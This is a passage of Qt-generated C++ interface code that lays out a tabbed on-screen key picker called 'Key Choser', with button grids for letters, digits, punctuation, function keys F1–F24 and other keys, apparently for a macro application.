QPushButton *u_button_2;
QPushButton *p_button_2;
QPushButton *c_button_2;
QPushButton *m_button_2;
QPushButton *b_button_2;
QPushButton *v_button_2;
QPushButton *z_button_3;
QPushButton *z_button_4;
QPushButton *z_button_5;
QPushButton *z_button_6;
QWidget *tab_other2;
QLabel *instructionLabel_6;
QPushButton *a_button_3;
QPushButton *c_button_3;
QPushButton *j_button_3;
QPushButton *d_button_3;
QPushButton *e_button_3;
QPushButton *b_button_3;
QPushButton *h_button_3;
QPushButton *k_button_3;
QPushButton *i_button_3;
QPushButton *g_button_3;
QPushButton *f_button_3;
void setupUi(QWidget *VirtualKeyboard)
{
if (VirtualKeyboard->objectName().isEmpty())
VirtualKeyboard->setObjectName(QString::fromUtf8("VirtualKeyboard"));
VirtualKeyboard->resize(400, 400);
QIcon icon;
icon.addFile(QString::fromUtf8(":/MacroApp/logo.png"), QSize(), QIcon::Normal, QIcon::Off);
VirtualKeyboard->setWindowIcon(icon);
tabWidget = new QTabWidget(VirtualKeyboard);
tabWidget->setObjectName(QString::fromUtf8("tabWidget"));
tabWidget->setGeometry(QRect(0, 0, 401, 401));
tab_AZ = new QWidget();
tab_AZ->setObjectName(QString::fromUtf8("tab_AZ"));
a_button = new QPushButton(tab_AZ);
a_button->setObjectName(QString::fromUtf8("a_button"));
a_button->setGeometry(QRect(10, 50, 61, 61));
QFont font;
font.setPointSize(25);
font.setStyleStrategy(QFont::PreferAntialias);
a_button->setFont(font);
a_button->setFlat(false);
instructionLabel = new QLabel(tab_AZ);
instructionLabel->setObjectName(QString::fromUtf8("instructionLabel"));
instructionLabel->setGeometry(QRect(60, 0, 281, 41));
QFont font1;
font1.setPointSize(16);
instructionLabel->setFont(font1);
b_button = new QPushButton(tab_AZ);
b_button->setObjectName(QString::fromUtf8("b_button"));
b_button->setGeometry(QRect(72, 50, 61, 61));
b_button->setFont(font);
b_button->setFlat(false);
c_button = new QPushButton(tab_AZ);
c_button->setObjectName(QString::fromUtf8("c_button"));
c_button->setGeometry(QRect(134, 50, 61, 61));
c_button->setFont(font);
c_button->setFlat(false);
d_button = new QPushButton(tab_AZ);
d_button->setObjectName(QString::fromUtf8("d_button"));
d_button->setGeometry(QRect(196, 50, 61, 61));
d_button->setFont(font);
d_button->setFlat(false);
e_button = new QPushButton(tab_AZ);
e_button->setObjectName(QString::fromUtf8("e_button"));
e_button->setGeometry(QRect(258, 50, 61, 61));
e_button->setFont(font);
e_button->setFlat(false);
f_button = new QPushButton(tab_AZ);
f_button->setObjectName(QString::fromUtf8("f_button"));
f_button->setGeometry(QRect(320, 50, 61, 61));
f_button->setFont(font);
f_button->setFlat(false);
l_button = new QPushButton(tab_AZ);
l_button->setObjectName(QString::fromUtf8("l_button"));
l_button->setGeometry(QRect(320, 112, 61, 61));
l_button->setFont(font);
l_button->setFlat(false);
k_button = new QPushButton(tab_AZ);
k_button->setObjectName(QString::fromUtf8("k_button"));
k_button->setGeometry(QRect(258, 112, 61, 61));
k_button->setFont(font);
k_button->setFlat(false);
g_button = new QPushButton(tab_AZ);
g_button->setObjectName(QString::fromUtf8("g_button"));
g_button->setGeometry(QRect(10, 112, 61, 61));
g_button->setFont(font);
g_button->setFlat(false);
j_button = new QPushButton(tab_AZ);
j_button->setObjectName(QString::fromUtf8("j_button"));
j_button->setGeometry(QRect(196, 112, 61, 61));
j_button->setFont(font);
j_button->setFlat(false);
h_button = new QPushButton(tab_AZ);
h_button->setObjectName(QString::fromUtf8("h_button"));
h_button->setGeometry(QRect(72, 112, 61, 61));
h_button->setFont(font);
h_button->setFlat(false);
i_button = new QPushButton(tab_AZ);
i_button->setObjectName(QString::fromUtf8("i_button"));
i_button->setGeometry(QRect(134, 112, 61, 61));
i_button->setFont(font);
i_button->setFlat(false);
p_button = new QPushButton(tab_AZ);
p_button->setObjectName(QString::fromUtf8("p_button"));
p_button->setGeometry(QRect(196, 174, 61, 61));
p_button->setFont(font);
p_button->setFlat(false);
r_button = new QPushButton(tab_AZ);
r_button->setObjectName(QString::fromUtf8("r_button"));
r_button->setGeometry(QRect(320, 174, 61, 61));
r_button->setFont(font);
r_button->setFlat(false);
m_button = new QPushButton(tab_AZ);
m_button->setObjectName(QString::fromUtf8("m_button"));
m_button->setGeometry(QRect(10, 174, 61, 61));
m_button->setFont(font);
m_button->setFlat(false);
n_button = new QPushButton(tab_AZ);
n_button->setObjectName(QString::fromUtf8("n_button"));
n_button->setGeometry(QRect(72, 174, 61, 61));
n_button->setFont(font);
n_button->setFlat(false);
o_button = new QPushButton(tab_AZ);
o_button->setObjectName(QString::fromUtf8("o_button"));
o_button->setGeometry(QRect(134, 174, 61, 61));
o_button->setFont(font);
o_button->setFlat(false);
q_button = new QPushButton(tab_AZ);
q_button->setObjectName(QString::fromUtf8("q_button"));
q_button->setGeometry(QRect(258, 174, 61, 61));
q_button->setFont(font);
q_button->setFlat(false);
s_button = new QPushButton(tab_AZ);
s_button->setObjectName(QString::fromUtf8("s_button"));
s_button->setGeometry(QRect(10, 236, 61, 61));
s_button->setFont(font);
s_button->setFlat(false);
u_button = new QPushButton(tab_AZ);
u_button->setObjectName(QString::fromUtf8("u_button"));
u_button->setGeometry(QRect(134, 236, 61, 61));
u_button->setFont(font);
u_button->setFlat(false);
w_button = new QPushButton(tab_AZ);
w_button->setObjectName(QString::fromUtf8("w_button"));
w_button->setGeometry(QRect(258, 236, 61, 61));
w_button->setFont(font);
w_button->setFlat(false);
t_button = new QPushButton(tab_AZ);
t_button->setObjectName(QString::fromUtf8("t_button"));
t_button->setGeometry(QRect(72, 236, 61, 61));
t_button->setFont(font);
t_button->setFlat(false);
x_button = new QPushButton(tab_AZ);
x_button->setObjectName(QString::fromUtf8("x_button"));
x_button->setGeometry(QRect(320, 236, 61, 61));
x_button->setFont(font);
x_button->setFlat(false);
v_button = new QPushButton(tab_AZ);
v_button->setObjectName(QString::fromUtf8("v_button"));
v_button->setGeometry(QRect(196, 236, 61, 61));
v_button->setFont(font);
v_button->setFlat(false);
y_button = new QPushButton(tab_AZ);
y_button->setObjectName(QString::fromUtf8("y_button"));
y_button->setGeometry(QRect(10, 298, 61, 61));
y_button->setFont(font);
y_button->setFlat(false);
z_button = new QPushButton(tab_AZ);
z_button->setObjectName(QString::fromUtf8("z_button"));
z_button->setGeometry(QRect(72, 298, 61, 61));
z_button->setFont(font);
z_button->setFlat(false);
tabWidget->addTab(tab_AZ, QString());
tab_Numbers = new QWidget();
tab_Numbers->setObjectName(QString::fromUtf8("tab_Numbers"));
instructionLabel_2 = new QLabel(tab_Numbers);
instructionLabel_2->setObjectName(QString::fromUtf8("instructionLabel_2"));
instructionLabel_2->setGeometry(QRect(60, 0, 291, 41));
instructionLabel_2->setFont(font1);
r0_button = new QPushButton(tab_Numbers);
r0_button->setObjectName(QString::fromUtf8("r0_button"));
r0_button->setGeometry(QRect(10, 50, 61, 61));
r0_button->setFont(font);
r0_button->setFlat(false);
r1_button = new QPushButton(tab_Numbers);
r1_button->setObjectName(QString::fromUtf8("r1_button"));
r1_button->setGeometry(QRect(72, 50, 61, 61));
r1_button->setFont(font);
r1_button->setFlat(false);
r2_button = new QPushButton(tab_Numbers);
r2_button->setObjectName(QString::fromUtf8("r2_button"));
r2_button->setGeometry(QRect(134, 50, 61, 61));
r2_button->setFont(font);
r2_button->setFlat(false);
r3_button = new QPushButton(tab_Numbers);
r3_button->setObjectName(QString::fromUtf8("r3_button"));
r3_button->setGeometry(QRect(196, 50, 61, 61));
r3_button->setFont(font);
r3_button->setFlat(false);
r4_button = new QPushButton(tab_Numbers);
r4_button->setObjectName(QString::fromUtf8("r4_button"));
r4_button->setGeometry(QRect(258, 50, 61, 61));
r4_button->setFont(font);
r4_button->setFlat(false);
r5_button = new QPushButton(tab_Numbers);
r5_button->setObjectName(QString::fromUtf8("r5_button"));
r5_button->setGeometry(QRect(320, 50, 61, 61));
r5_button->setFont(font);
r5_button->setFlat(false);
r7_button = new QPushButton(tab_Numbers);
r7_button->setObjectName(QString::fromUtf8("r7_button"));
r7_button->setGeometry(QRect(72, 112, 61, 61));
r7_button->setFont(font);
r7_button->setFlat(false);
r8_button = new QPushButton(tab_Numbers);
r8_button->setObjectName(QString::fromUtf8("r8_button"));
r8_button->setGeometry(QRect(134, 112, 61, 61));
r8_button->setFont(font);
r8_button->setFlat(false);
r9_button = new QPushButton(tab_Numbers);
r9_button->setObjectName(QString::fromUtf8("r9_button"));
r9_button->setGeometry(QRect(196, 112, 61, 61));
r9_button->setFont(font);
r9_button->setFlat(false);
num0_button = new QPushButton(tab_Numbers);
num0_button->setObjectName(QString::fromUtf8("num0_button"));
num0_button->setGeometry(QRect(258, 112, 61, 61));
QFont font2;
font2.setPointSize(15);
font2.setStyleStrategy(QFont::PreferAntialias);
num0_button->setFont(font2);
num0_button->setFlat(false);
num1_button = new QPushButton(tab_Numbers);
num1_button->setObjectName(QString::fromUtf8("num1_button"));
num1_button->setGeometry(QRect(320, 112, 61, 61));
num1_button->setFont(font2);
num1_button->setFlat(false);
r6_button = new QPushButton(tab_Numbers);
r6_button->setObjectName(QString::fromUtf8("r6_button"));
r6_button->setGeometry(QRect(10, 112, 61, 61));
r6_button->setFont(font);
r6_button->setFlat(false);
num3_button = new QPushButton(tab_Numbers);
num3_button->setObjectName(QString::fromUtf8("num3_button"));
num3_button->setGeometry(QRect(72, 174, 61, 61));
num3_button->setFont(font2);
num3_button->setFlat(false);
num7_button = new QPushButton(tab_Numbers);
num7_button->setObjectName(QString::fromUtf8("num7_button"));
num7_button->setGeometry(QRect(320, 174, 61, 61));
num7_button->setFont(font2);
num7_button->setFlat(false);
num4_button = new QPushButton(tab_Numbers);
num4_button->setObjectName(QString::fromUtf8("num4_button"));
num4_button->setGeometry(QRect(134, 174, 61, 61));
num4_button->setFont(font2);
num4_button->setFlat(false);
num5_button = new QPushButton(tab_Numbers);
num5_button->setObjectName(QString::fromUtf8("num5_button"));
num5_button->setGeometry(QRect(196, 174, 61, 61));
num5_button->setFont(font2);
num5_button->setFlat(false);
num6_button = new QPushButton(tab_Numbers);
num6_button->setObjectName(QString::fromUtf8("num6_button"));
num6_button->setGeometry(QRect(258, 174, 61, 61));
num6_button->setFont(font2);
num6_button->setFlat(false);
num2_button = new QPushButton(tab_Numbers);
num2_button->setObjectName(QString::fromUtf8("num2_button"));
num2_button->setGeometry(QRect(10, 174, 61, 61));
num2_button->setFont(font2);
num2_button->setFlat(false);
num8_button = new QPushButton(tab_Numbers);
num8_button->setObjectName(QString::fromUtf8("num8_button"));
num8_button->setGeometry(QRect(10, 236, 61, 61));
num8_button->setFont(font2);
num8_button->setFlat(false);
num9_button = new QPushButton(tab_Numbers);
num9_button->setObjectName(QString::fromUtf8("num9_button"));
num9_button->setGeometry(QRect(72, 236, 61, 61));
num9_button->setFont(font2);
num9_button->setFlat(false);
tabWidget->addTab(tab_Numbers, QString());
tab_Punctuation = new QWidget();
tab_Punctuation->setObjectName(QString::fromUtf8("tab_Punctuation"));
instructionLabel_3 = new QLabel(tab_Punctuation);
instructionLabel_3->setObjectName(QString::fromUtf8("instructionLabel_3"));
instructionLabel_3->setGeometry(QRect(60, 0, 281, 41));
instructionLabel_3->setFont(font1);
r6_button_2 = new QPushButton(tab_Punctuation);
r6_button_2->setObjectName(QString::fromUtf8("r6_button_2"));
r6_button_2->setGeometry(QRect(10, 112, 61, 61));
r6_button_2->setFont(font);
r6_button_2->setFlat(false);
r2_button_2 = new QPushButton(tab_Punctuation);
r2_button_2->setObjectName(QString::fromUtf8("r2_button_2"));
r2_button_2->setGeometry(QRect(134, 50, 61, 61));
r2_button_2->setFont(font);
r2_button_2->setFlat(false);
r8_button_2 = new QPushButton(tab_Punctuation);
r8_button_2->setObjectName(QString::fromUtf8("r8_button_2"));
r8_button_2->setGeometry(QRect(134, 112, 61, 61));
r8_button_2->setFont(font);
r8_button_2->setFlat(false);
r3_button_2 = new QPushButton(tab_Punctuation);
r3_button_2->setObjectName(QString::fromUtf8("r3_button_2"));
r3_button_2->setGeometry(QRect(196, 50, 61, 61));
r3_button_2->setFont(font);
r3_button_2->setFlat(false);
r0_button_2 = new QPushButton(tab_Punctuation);
r0_button_2->setObjectName(QString::fromUtf8("r0_button_2"));
r0_button_2->setGeometry(QRect(10, 50, 61, 61));
r0_button_2->setFont(font);
r0_button_2->setFlat(false);
num4_button_2 = new QPushButton(tab_Punctuation);
num4_button_2->setObjectName(QString::fromUtf8("num4_button_2"));
num4_button_2->setGeometry(QRect(134, 174, 61, 61));
num4_button_2->setFont(font2);
num4_button_2->setFlat(false);
r1_button_2 = new QPushButton(tab_Punctuation);
r1_button_2->setObjectName(QString::fromUtf8("r1_button_2"));
r1_button_2->setGeometry(QRect(72, 50, 61, 61));
r1_button_2->setFont(font);
r1_button_2->setFlat(false);
r4_button_2 = new QPushButton(tab_Punctuation);
r4_button_2->setObjectName(QString::fromUtf8("r4_button_2"));
r4_button_2->setGeometry(QRect(258, 50, 61, 61));
r4_button_2->setFont(font);
r4_button_2->setFlat(false);
num3_button_2 = new QPushButton(tab_Punctuation);
num3_button_2->setObjectName(QString::fromUtf8("num3_button_2"));
num3_button_2->setGeometry(QRect(72, 174, 61, 61));
num3_button_2->setFont(font2);
num3_button_2->setFlat(false);
num0_button_2 = new QPushButton(tab_Punctuation);
num0_button_2->setObjectName(QString::fromUtf8("num0_button_2"));
num0_button_2->setGeometry(QRect(258, 112, 61, 61));
num0_button_2->setFont(font);
num0_button_2->setFlat(false);
r7_button_2 = new QPushButton(tab_Punctuation);
r7_button_2->setObjectName(QString::fromUtf8("r7_button_2"));
r7_button_2->setGeometry(QRect(72, 112, 61, 61));
r7_button_2->setFont(font);
r7_button_2->setFlat(false);
num1_button_2 = new QPushButton(tab_Punctuation);
num1_button_2->setObjectName(QString::fromUtf8("num1_button_2"));
num1_button_2->setGeometry(QRect(320, 112, 61, 61));
num1_button_2->setFont(font2);
num1_button_2->setFlat(false);
num2_button_2 = new QPushButton(tab_Punctuation);
num2_button_2->setObjectName(QString::fromUtf8("num2_button_2"));
num2_button_2->setGeometry(QRect(10, 174, 61, 61));
num2_button_2->setFont(font2);
num2_button_2->setFlat(false);
r5_button_2 = new QPushButton(tab_Punctuation);
r5_button_2->setObjectName(QString::fromUtf8("r5_button_2"));
r5_button_2->setGeometry(QRect(320, 50, 61, 61));
r5_button_2->setFont(font);
r5_button_2->setFlat(false);
r9_button_2 = new QPushButton(tab_Punctuation);
r9_button_2->setObjectName(QString::fromUtf8("r9_button_2"));
r9_button_2->setGeometry(QRect(196, 112, 61, 61));
r9_button_2->setFont(font);
r9_button_2->setFlat(false);
num4_button_3 = new QPushButton(tab_Punctuation);
num4_button_3->setObjectName(QString::fromUtf8("num4_button_3"));
num4_button_3->setGeometry(QRect(196, 174, 61, 61));
num4_button_3->setFont(font2);
num4_button_3->setFlat(false);
tabWidget->addTab(tab_Punctuation, QString());
tab_function = new QWidget();
tab_function->setObjectName(QString::fromUtf8("tab_function"));
instructionLabel_4 = new QLabel(tab_function);
instructionLabel_4->setObjectName(QString::fromUtf8("instructionLabel_4"));
instructionLabel_4->setGeometry(QRect(60, 0, 271, 41));
instructionLabel_4->setFont(font1);
f1_button = new QPushButton(tab_function);
f1_button->setObjectName(QString::fromUtf8("f1_button"));
f1_button->setGeometry(QRect(10, 50, 61, 61));
f1_button->setFont(font);
f1_button->setFlat(false);
f2_button = new QPushButton(tab_function);
f2_button->setObjectName(QString::fromUtf8("f2_button"));
f2_button->setGeometry(QRect(72, 50, 61, 61));
f2_button->setFont(font);
f2_button->setFlat(false);
f3_button = new QPushButton(tab_function);
f3_button->setObjectName(QString::fromUtf8("f3_button"));
f3_button->setGeometry(QRect(134, 50, 61, 61));
f3_button->setFont(font);
f3_button->setFlat(false);
f4_button = new QPushButton(tab_function);
f4_button->setObjectName(QString::fromUtf8("f4_button"));
f4_button->setGeometry(QRect(196, 50, 61, 61));
f4_button->setFont(font);
f4_button->setFlat(false);
f5_button = new QPushButton(tab_function);
f5_button->setObjectName(QString::fromUtf8("f5_button"));
f5_button->setGeometry(QRect(258, 50, 61, 61));
f5_button->setFont(font);
f5_button->setFlat(false);
f6_button = new QPushButton(tab_function);
f6_button->setObjectName(QString::fromUtf8("f6_button"));
f6_button->setGeometry(QRect(320, 50, 61, 61));
f6_button->setFont(font);
f6_button->setFlat(false);
f7_button = new QPushButton(tab_function);
f7_button->setObjectName(QString::fromUtf8("f7_button"));
f7_button->setGeometry(QRect(10, 112, 61, 61));
f7_button->setFont(font);
f7_button->setFlat(false);
f8_button = new QPushButton(tab_function);
f8_button->setObjectName(QString::fromUtf8("f8_button"));
f8_button->setGeometry(QRect(72, 112, 61, 61));
f8_button->setFont(font);
f8_button->setFlat(false);
f10_button = new QPushButton(tab_function);
f10_button->setObjectName(QString::fromUtf8("f10_button"));
f10_button->setGeometry(QRect(196, 112, 61, 61));
f10_button->setFont(font);
f10_button->setFlat(false);
f12_button = new QPushButton(tab_function);
f12_button->setObjectName(QString::fromUtf8("f12_button"));
f12_button->setGeometry(QRect(320, 112, 61, 61));
f12_button->setFont(font);
f12_button->setFlat(false);
f9_button = new QPushButton(tab_function);
f9_button->setObjectName(QString::fromUtf8("f9_button"));
f9_button->setGeometry(QRect(134, 112, 61, 61));
f9_button->setFont(font);
f9_button->setFlat(false);
f11_button = new QPushButton(tab_function);
f11_button->setObjectName(QString::fromUtf8("f11_button"));
f11_button->setGeometry(QRect(258, 112, 61, 61));
f11_button->setFont(font);
f11_button->setFlat(false);
f15_button = new QPushButton(tab_function);
f15_button->setObjectName(QString::fromUtf8("f15_button"));
f15_button->setGeometry(QRect(134, 174, 61, 61));
f15_button->setFont(font);
f15_button->setFlat(false);
f13_button = new QPushButton(tab_function);
f13_button->setObjectName(QString::fromUtf8("f13_button"));
f13_button->setGeometry(QRect(10, 174, 61, 61));
f13_button->setFont(font);
f13_button->setFlat(false);
f17_button = new QPushButton(tab_function);
f17_button->setObjectName(QString::fromUtf8("f17_button"));
f17_button->setGeometry(QRect(258, 174, 61, 61));
f17_button->setFont(font);
f17_button->setFlat(false);
f16_button = new QPushButton(tab_function);
f16_button->setObjectName(QString::fromUtf8("f16_button"));
f16_button->setGeometry(QRect(196, 174, 61, 61));
f16_button->setFont(font);
f16_button->setFlat(false);
f14_button = new QPushButton(tab_function);
f14_button->setObjectName(QString::fromUtf8("f14_button"));
f14_button->setGeometry(QRect(72, 174, 61, 61));
f14_button->setFont(font);
f14_button->setFlat(false);
f18_button = new QPushButton(tab_function);
f18_button->setObjectName(QString::fromUtf8("f18_button"));
f18_button->setGeometry(QRect(320, 174, 61, 61));
f18_button->setFont(font);
f18_button->setFlat(false);
f21_button = new QPushButton(tab_function);
f21_button->setObjectName(QString::fromUtf8("f21_button"));
f21_button->setGeometry(QRect(134, 236, 61, 61));
f21_button->setFont(font);
f21_button->setFlat(false);
f23_button = new QPushButton(tab_function);
f23_button->setObjectName(QString::fromUtf8("f23_button"));
f23_button->setGeometry(QRect(258, 236, 61, 61));
f23_button->setFont(font);
f23_button->setFlat(false);
f24_button = new QPushButton(tab_function);
f24_button->setObjectName(QString::fromUtf8("f24_button"));
f24_button->setGeometry(QRect(320, 236, 61, 61));
f24_button->setFont(font);
f24_button->setFlat(false);
f20_button = new QPushButton(tab_function);
f20_button->setObjectName(QString::fromUtf8("f20_button"));
f20_button->setGeometry(QRect(72, 236, 61, 61));
f20_button->setFont(font);
f20_button->setFlat(false);
f22_button = new QPushButton(tab_function);
f22_button->setObjectName(QString::fromUtf8("f22_button"));
f22_button->setGeometry(QRect(196, 236, 61, 61));
f22_button->setFont(font);
f22_button->setFlat(false);
f19_button = new QPushButton(tab_function);
f19_button->setObjectName(QString::fromUtf8("f19_button"));
f19_button->setGeometry(QRect(10, 236, 61, 61));
f19_button->setFont(font);
f19_button->setFlat(false);
tabWidget->addTab(tab_function, QString());
tab_other = new QWidget();
tab_other->setObjectName(QString::fromUtf8("tab_other"));
instructionLabel_5 = new QLabel(tab_other);
instructionLabel_5->setObjectName(QString::fromUtf8("instructionLabel_5"));
instructionLabel_5->setGeometry(QRect(60, 0, 291, 41));
instructionLabel_5->setFont(font1);
l_button_2 = new QPushButton(tab_other);
l_button_2->setObjectName(QString::fromUtf8("l_button_2"));
l_button_2->setGeometry(QRect(320, 112, 61, 61));
QFont font3;
font3.setPointSize(10);
font3.setStyleStrategy(QFont::PreferAntialias);
l_button_2->setFont(font3);
l_button_2->setFlat(false);
h_button_2 = new QPushButton(tab_other);
h_button_2->setObjectName(QString::fromUtf8("h_button_2"));
h_button_2->setGeometry(QRect(72, 112, 61, 61));
h_button_2->setFont(font3);
h_button_2->setFlat(false);
d_button_2 = new QPushButton(tab_other);
d_button_2->setObjectName(QString::fromUtf8("d_button_2"));
d_button_2->setGeometry(QRect(196, 50, 61, 61));
d_button_2->setFont(font3);
d_button_2->setFlat(false);
a_button_2 = new QPushButton(tab_other);
a_button_2->setObjectName(QString::fromUtf8("a_button_2"));
a_button_2->setGeometry(QRect(10, 50, 61, 61));
a_button_2->setFont(font3);
a_button_2->setFlat(false);
y_button_2 = new QPushButton(tab_other);
y_button_2->setObjectName(QString::fromUtf8("y_button_2"));
y_button_2->setGeometry(QRect(10, 298, 61, 61));
y_button_2->setFont(font3);
y_button_2->setFlat(false);
n_button_2 = new QPushButton(tab_other);
n_button_2->setObjectName(QString::fromUtf8("n_button_2"));
n_button_2->setGeometry(QRect(72, 174, 61, 61));
n_button_2->setFont(font3);
n_button_2->setFlat(false);
f_button_2 = new QPushButton(tab_other);
f_button_2->setObjectName(QString::fromUtf8("f_button_2"));
f_button_2->setGeometry(QRect(320, 50, 61, 61));
f_button_2->setFont(font3);
f_button_2->setFlat(false);
k_button_2 = new QPushButton(tab_other);
k_button_2->setObjectName(QString::fromUtf8("k_button_2"));
k_button_2->setGeometry(QRect(258, 112, 61, 61));
k_button_2->setFont(font3);
k_button_2->setFlat(false);
g_button_2 = new QPushButton(tab_other);
g_button_2->setObjectName(QString::fromUtf8("g_button_2"));
g_button_2->setGeometry(QRect(10, 112, 61, 61));
g_button_2->setFont(font3);
g_button_2->setFlat(false);
z_button_2 = new QPushButton(tab_other);
z_button_2->setObjectName(QString::fromUtf8("z_button_2"));
z_button_2->setGeometry(QRect(72, 298, 61, 61));
z_button_2->setFont(font3);
z_button_2->setFlat(false);
w_button_2 = new QPushButton(tab_other);
w_button_2->setObjectName(QString::fromUtf8("w_button_2"));
w_button_2->setGeometry(QRect(258, 236, 61, 61));
w_button_2->setFont(font3);
w_button_2->setFlat(false);
r_button_2 = new QPushButton(tab_other);
r_button_2->setObjectName(QString::fromUtf8("r_button_2"));
r_button_2->setGeometry(QRect(320, 174, 61, 61));
r_button_2->setFont(font3);
r_button_2->setFlat(false);
q_button_2 = new QPushButton(tab_other);
q_button_2->setObjectName(QString::fromUtf8("q_button_2"));
q_button_2->setGeometry(QRect(258, 174, 61, 61));
q_button_2->setFont(font3);
q_button_2->setFlat(false);
j_button_2 = new QPushButton(tab_other);
j_button_2->setObjectName(QString::fromUtf8("j_button_2"));
j_button_2->setGeometry(QRect(196, 112, 61, 61));
j_button_2->setFont(font3);
j_button_2->setFlat(false);
i_button_2 = new QPushButton(tab_other);
i_button_2->setObjectName(QString::fromUtf8("i_button_2"));
i_button_2->setGeometry(QRect(134, 112, 61, 61));
i_button_2->setFont(font3);
i_button_2->setFlat(false);
e_button_2 = new QPushButton(tab_other);
e_button_2->setObjectName(QString::fromUtf8("e_button_2"));
e_button_2->setGeometry(QRect(258, 50, 61, 61));
e_button_2->setFont(font3);
e_button_2->setFlat(false);
x_button_2 = new QPushButton(tab_other);
x_button_2->setObjectName(QString::fromUtf8("x_button_2"));
x_button_2->setGeometry(QRect(320, 236, 61, 61));
x_button_2->setFont(font3);
x_button_2->setFlat(false);
t_button_2 = new QPushButton(tab_other);
t_button_2->setObjectName(QString::fromUtf8("t_button_2"));
t_button_2->setGeometry(QRect(72, 236, 61, 61));
t_button_2->setFont(font3);
t_button_2->setFlat(false);
o_button_2 = new QPushButton(tab_other);
o_button_2->setObjectName(QString::fromUtf8("o_button_2"));
o_button_2->setGeometry(QRect(134, 174, 61, 61));
o_button_2->setFont(font3);
o_button_2->setFlat(false);
s_button_2 = new QPushButton(tab_other);
s_button_2->setObjectName(QString::fromUtf8("s_button_2"));
s_button_2->setGeometry(QRect(10, 236, 61, 61));
s_button_2->setFont(font3);
s_button_2->setFlat(false);
u_button_2 = new QPushButton(tab_other);
u_button_2->setObjectName(QString::fromUtf8("u_button_2"));
u_button_2->setGeometry(QRect(134, 236, 61, 61));
u_button_2->setFont(font3);
u_button_2->setFlat(false);
p_button_2 = new QPushButton(tab_other);
p_button_2->setObjectName(QString::fromUtf8("p_button_2"));
p_button_2->setGeometry(QRect(196, 174, 61, 61));
p_button_2->setFont(font3);
p_button_2->setFlat(false);
c_button_2 = new QPushButton(tab_other);
c_button_2->setObjectName(QString::fromUtf8("c_button_2"));
c_button_2->setGeometry(QRect(134, 50, 61, 61));
c_button_2->setFont(font3);
c_button_2->setFlat(false);
m_button_2 = new QPushButton(tab_other);
m_button_2->setObjectName(QString::fromUtf8("m_button_2"));
m_button_2->setGeometry(QRect(10, 174, 61, 61));
m_button_2->setFont(font3);
m_button_2->setFlat(false);
b_button_2 = new QPushButton(tab_other);
b_button_2->setObjectName(QString::fromUtf8("b_button_2"));
b_button_2->setGeometry(QRect(72, 50, 61, 61));
b_button_2->setFont(font3);
b_button_2->setAutoRepeat(false);
b_button_2->setAutoExclusive(false);
b_button_2->setFlat(false);
v_button_2 = new QPushButton(tab_other);
v_button_2->setObjectName(QString::fromUtf8("v_button_2"));
v_button_2->setGeometry(QRect(196, 236, 61, 61));
v_button_2->setFont(font3);
v_button_2->setFlat(false);
z_button_3 = new QPushButton(tab_other);
z_button_3->setObjectName(QString::fromUtf8("z_button_3"));
z_button_3->setGeometry(QRect(134, 298, 61, 61));
z_button_3->setFont(font3);
z_button_3->setFlat(false);
z_button_4 = new QPushButton(tab_other);
z_button_4->setObjectName(QString::fromUtf8("z_button_4"));
z_button_4->setGeometry(QRect(196, 298, 61, 61));
z_button_4->setFont(font3);
z_button_4->setFlat(false);
z_button_5 = new QPushButton(tab_other);
z_button_5->setObjectName(QString::fromUtf8("z_button_5"));
z_button_5->setGeometry(QRect(258, 298, 61, 61));
z_button_5->setFont(font3);
z_button_5->setFlat(false);
z_button_6 = new QPushButton(tab_other);
z_button_6->setObjectName(QString::fromUtf8("z_button_6"));
z_button_6->setGeometry(QRect(320, 298, 61, 61));
z_button_6->setFont(font3);
z_button_6->setFlat(false);
tabWidget->addTab(tab_other, QString());
tab_other2 = new QWidget();
tab_other2->setObjectName(QString::fromUtf8("tab_other2"));
instructionLabel_6 = new QLabel(tab_other2);
instructionLabel_6->setObjectName(QString::fromUtf8("instructionLabel_6"));
instructionLabel_6->setGeometry(QRect(60, 0, 301, 41));
instructionLabel_6->setFont(font1);
a_button_3 = new QPushButton(tab_other2);
a_button_3->setObjectName(QString::fromUtf8("a_button_3"));
a_button_3->setGeometry(QRect(10, 50, 61, 61));
a_button_3->setFont(font3);
a_button_3->setFlat(false);
c_button_3 = new QPushButton(tab_other2);
c_button_3->setObjectName(QString::fromUtf8("c_button_3"));
c_button_3->setGeometry(QRect(134, 50, 61, 61));
c_button_3->setFont(font3);
c_button_3->setFlat(false);
j_button_3 = new QPushButton(tab_other2);
j_button_3->setObjectName(QString::fromUtf8("j_button_3"));
j_button_3->setGeometry(QRect(196, 112, 61, 61));
j_button_3->setFont(font3);
j_button_3->setFlat(false);
d_button_3 = new QPushButton(tab_other2);
d_button_3->setObjectName(QString::fromUtf8("d_button_3"));
d_button_3->setGeometry(QRect(196, 50, 61, 61));
d_button_3->setFont(font3);
d_button_3->setFlat(false);
e_button_3 = new QPushButton(tab_other2);
e_button_3->setObjectName(QString::fromUtf8("e_button_3"));
e_button_3->setGeometry(QRect(258, 50, 61, 61));
e_button_3->setFont(font3);
e_button_3->setFlat(false);
b_button_3 = new QPushButton(tab_other2);
b_button_3->setObjectName(QString::fromUtf8("b_button_3"));
b_button_3->setGeometry(QRect(72, 50, 61, 61));
b_button_3->setFont(font3);
b_button_3->setAutoRepeat(false);
b_button_3->setAutoExclusive(false);
b_button_3->setFlat(false);
h_button_3 = new QPushButton(tab_other2);
h_button_3->setObjectName(QString::fromUtf8("h_button_3"));
h_button_3->setGeometry(QRect(72, 112, 61, 61));
h_button_3->setFont(font3);
h_button_3->setFlat(false);
k_button_3 = new QPushButton(tab_other2);
k_button_3->setObjectName(QString::fromUtf8("k_button_3"));
k_button_3->setGeometry(QRect(258, 112, 61, 61));
k_button_3->setFont(font3);
k_button_3->setFlat(false);
i_button_3 = new QPushButton(tab_other2);
i_button_3->setObjectName(QString::fromUtf8("i_button_3"));
i_button_3->setGeometry(QRect(134, 112, 61, 61));
i_button_3->setFont(font3);
i_button_3->setFlat(false);
g_button_3 = new QPushButton(tab_other2);
g_button_3->setObjectName(QString::fromUtf8("g_button_3"));
g_button_3->setGeometry(QRect(10, 112, 61, 61));
g_button_3->setFont(font3);
g_button_3->setFlat(false);
f_button_3 = new QPushButton(tab_other2);
f_button_3->setObjectName(QString::fromUtf8("f_button_3"));
f_button_3->setGeometry(QRect(320, 50, 61, 61));
f_button_3->setFont(font3);
f_button_3->setFlat(false);
tabWidget->addTab(tab_other2, QString());
retranslateUi(VirtualKeyboard);
tabWidget->setCurrentIndex(3);
QMetaObject::connectSlotsByName(VirtualKeyboard);
} // setupUi
void retranslateUi(QWidget *VirtualKeyboard)
{
VirtualKeyboard->setWindowTitle(QCoreApplication::translate("VirtualKeyboard", "Key Choser", nullptr));
